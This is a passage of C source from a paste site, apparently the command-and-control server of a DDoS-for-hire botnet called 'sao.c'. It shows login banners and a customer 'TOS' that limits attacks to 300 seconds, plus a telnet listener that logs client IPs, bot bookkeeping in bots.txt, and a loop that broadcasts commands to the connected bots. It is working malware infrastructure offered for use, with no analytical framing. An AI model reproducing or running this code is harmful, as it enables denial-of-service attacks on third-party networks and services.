  669. sprintf(asuna_banner9, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▄▄▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  670. sprintf(asuna_banner10, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  671. sprintf(asuna_banner11, "\x1b[1;37m ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀ ▀ \r\n");
  672.  
  673. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  674. if(send(thefd, asuna_banner1, strlen(asuna_banner1), MSG_NOSIGNAL) == -1) goto end;
  675. if(send(thefd, asuna_banner2, strlen(asuna_banner2), MSG_NOSIGNAL) == -1) goto end;
  676. if(send(thefd, asuna_banner3, strlen(asuna_banner3), MSG_NOSIGNAL) == -1) goto end;
  677. if(send(thefd, asuna_banner4, strlen(asuna_banner4), MSG_NOSIGNAL) == -1) goto end;
  678. if(send(thefd, asuna_banner5, strlen(asuna_banner5), MSG_NOSIGNAL) == -1) goto end;
  679. if(send(thefd, asuna_banner6, strlen(asuna_banner6), MSG_NOSIGNAL) == -1) goto end;
  680. if(send(thefd, asuna_banner7, strlen(asuna_banner7), MSG_NOSIGNAL) == -1) goto end;
  681. if(send(thefd, asuna_banner8, strlen(asuna_banner8), MSG_NOSIGNAL) == -1) goto end;
  682. if(send(thefd, asuna_banner9, strlen(asuna_banner9), MSG_NOSIGNAL) == -1) goto end;
  683. if(send(thefd, asuna_banner10, strlen(asuna_banner10), MSG_NOSIGNAL) == -1) goto end;
  684. if(send(thefd, asuna_banner11, strlen(asuna_banner11), MSG_NOSIGNAL) == -1) goto end;
  685. while(1) {
  686. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  687. break;
  688. }
  689. pthread_create(&title, NULL, &titleWriter, sock);
  690. managements[thefd].connected = 1;
  691. continue;
  692. }
  693.  
  694. if(strstr(buf, "kirito")){
  695. char extend_banner_line1 [5000];
  696. char extend_banner_line2 [5000];
  697. char extend_banner_line3 [5000];
  698. char extend_banner_line4 [5000];
  699. char extend_banner_line5 [5000];
  700. char extend_banner_line6 [5000];
  701. char extend_banner_line7 [5000];
  702.  
  703. sprintf(extend_banner_line1, "\x1b[0;37m \r\n");
  704. sprintf(extend_banner_line2, "\x1b[0;37m ██╗ ██╗██╗██████╗ ██╗████████╗ ██████╗ \r\n");
  705. sprintf(extend_banner_line3, "\x1b[0;37m ██║ ██╔╝██║██╔══██╗██║╚══██╔══╝██╔═══██╗\r\n");
  706. sprintf(extend_banner_line4, "\x1b[0;37m █████╔╝ ██║██████╔╝██║ ██║ ██║ ██║\r\n");
  707. sprintf(extend_banner_line5, "\x1b[0;37m ██╔═██╗ ██║██╔══██╗██║ ██║ ██║ ██║\r\n");
  708. sprintf(extend_banner_line6, "\x1b[0;37m ██║ ██╗██║██║ ██║██║ ██║ ╚██████╔╝\r\n");
  709. sprintf(extend_banner_line7, "\x1b[0;37m ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ \r\n");
  710.  
  711. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  712. if(send(thefd, extend_banner_line1, strlen(extend_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  713. if(send(thefd, extend_banner_line2, strlen(extend_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  714. if(send(thefd, extend_banner_line3, strlen(extend_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  715. if(send(thefd, extend_banner_line4, strlen(extend_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  716. if(send(thefd, extend_banner_line5, strlen(extend_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  717. if(send(thefd, extend_banner_line6, strlen(extend_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  718. if(send(thefd, extend_banner_line7, strlen(extend_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  719. while(1) {
  720. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  721. break;
  722. }
  723. pthread_create(&title, NULL, &titleWriter, sock);
  724. managements[thefd].connected = 1;
  725. continue;
  726. }
  727.  
  728. if(strstr(buf, "TOS")){
  729.  
  730. char Tline1 [80];
  731. char Tline2 [80];
  732. char Tline3 [80];
  733. char Tline4 [80];
  734. char Tline5 [80];
  735. char Tline6 [80];
  736.  
  737. sprintf(Tline1, "\x1b[35m Dont Hit Gov Sites 4 The Dumb Asses\r\n");
  738. sprintf(Tline2, "\x1b[35m You can't give your login out\r\n");
  739. sprintf(Tline3, "\x1b[35m You can't give out server info\r\n");
  740. sprintf(Tline4, "\x1b[35m Dont Spam Attacks Fucktard\r\n");
  741. sprintf(Tline5, "\x1b[35m 300 Seconds MAX DDoS Time\r\n");
  742. sprintf(Tline6, "\x1b[35m NO REFUNDS FOR MORONS WHO GET KICKED\r\n");
  743.  
  744. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  745. if(send(thefd, Tline1, strlen(Tline1), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(thefd, Tline2, strlen(Tline2), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(thefd, Tline3, strlen(Tline3), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(thefd, Tline4, strlen(Tline4), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(thefd, Tline5, strlen(Tline5), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(thefd, Tline6, strlen(Tline6), MSG_NOSIGNAL) == -1) goto end;
  751. while(1) {
  752. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  753. break;
  754. }
  755. pthread_create(&title, NULL, &titleWriter, sock);
  756. managements[thefd].connected = 1;
  757. continue;
  758. }
  759.  
  760.  
  761. if(strstr(buf, "GB"))
  762. {
  763. sprintf(botnet, "Thanks for buying %s see you next time\r\n", accounts[find_line].id, buf);
  764. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  765. goto end;
  766. }
  767. trim(buf);
  768. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  769. if(strlen(buf) == 0) continue;
  770. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  771. FILE *logFile;
  772. logFile = fopen("report.log", "a");
  773. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  774. fclose(logFile);
  775. broadcast(buf, thefd, usernamez);
  776. memset(buf, 0, 2048);
  777. }
  778. end:
  779. managements[thefd].connected = 0;
  780. close(thefd);
  781. managesConnected--;
  782. }
  783. void *telnetListener(int port)
  784. {
  785. int sockfd, newsockfd;
  786. socklen_t clilen;
  787. struct sockaddr_in serv_addr, cli_addr;
  788. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  789. if (sockfd < 0) perror("ERROR opening socket");
  790. bzero((char *) &serv_addr, sizeof(serv_addr));
  791. serv_addr.sin_family = AF_INET;
  792. serv_addr.sin_addr.s_addr = INADDR_ANY;
  793. serv_addr.sin_port = htons(port);
  794. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  795. listen(sockfd,5);
  796. clilen = sizeof(cli_addr);
  797. while(1)
  798.  
  799. { printf("IP logged: ");
  800. client_addr(cli_addr);
  801. FILE *logFile;
  802. logFile = fopen("ip.log", "a");
  803. fprintf(logFile, "%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  804. fclose(logFile);
  805. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  806. if (newsockfd < 0) perror("ERROR on accept");
  807. pthread_t thread;
  808. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); }
  809. }
  810.  
  811. int main (int argc, char *argv[], void *sock)
  812. {
  813. signal(SIGPIPE, SIG_IGN);
  814. int s, threads, port;
  815. struct epoll_event event;
  816. if (argc != 4)
  817. {
  818. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  819. exit (EXIT_FAILURE);
  820. }
  821. port = atoi(argv[3]);
  822. printf("\x1b[31mTHIS SHIT PRIVATE,\x1b[34m DO NOT FUCKING LEAK, \x1b[32msao.c \x1b[35mP2P \x1b[36mSCREENED\x1b[0m\n");
  823. telFD = fopen("bots.txt", "a+");
  824. threads = atoi(argv[2]);
  825. listenFD = create_and_bind (argv[1]);
  826. if (listenFD == -1) abort ();
  827. s = make_socket_non_blocking (listenFD);
  828. if (s == -1) abort ();
  829. s = listen (listenFD, SOMAXCONN);
  830. if (s == -1)
  831. {
  832. perror ("listen");
  833. abort ();
  834. }
  835. epollFD = epoll_create1 (0);
  836. if (epollFD == -1)
  837. {
  838. perror ("epoll_create");
  839. abort ();
  840. }
  841. event.data.fd = listenFD;
  842. event.events = EPOLLIN | EPOLLET;
  843. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  844. if (s == -1)
  845. {
  846. perror ("epoll_ctl");
  847. abort ();
  848. }
  849. pthread_t thread[threads + 2];
  850. while(threads--)
  851. {
  852. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  853. }
  854. pthread_create(&thread[0], NULL, &telnetListener, port);
  855. while(1)
  856. {
  857. broadcast("PING", -1, "PUV");
  858. sleep(60);
  859. }
  860. close (listenFD);
  861. return EXIT_SUCCESS;
  862. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement